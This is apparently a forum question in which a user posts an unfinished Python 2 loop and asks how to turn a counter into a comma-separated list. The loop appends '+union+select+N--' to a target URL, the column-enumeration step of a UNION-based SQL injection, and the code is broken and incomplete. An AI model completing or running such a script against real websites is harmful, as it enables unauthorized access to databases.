how do i make it so it well add ' and a extra number
<pre><code>a = 1

help = "'"

if "false" in payload_source:

    while start == False:

        payload = urllib2.urlopen(target + "+union+select+" + str(a) + "--")

        print(target + "+union+select+" + str(a) + "--")

        if "&lt;buffer&gt;1&lt;/buffer&gt;" in payload_source:

            print("lol")

        else:
            a += 
</code></pre>

<p>i want it so it adds a number to it not adding to the number changing 1 into i want it so it adds 1 with 2 like this 1,2 just like is it possable to make a loop that adds numbers up with , like this 1,2,3,4,5,6,7,8,9</p>
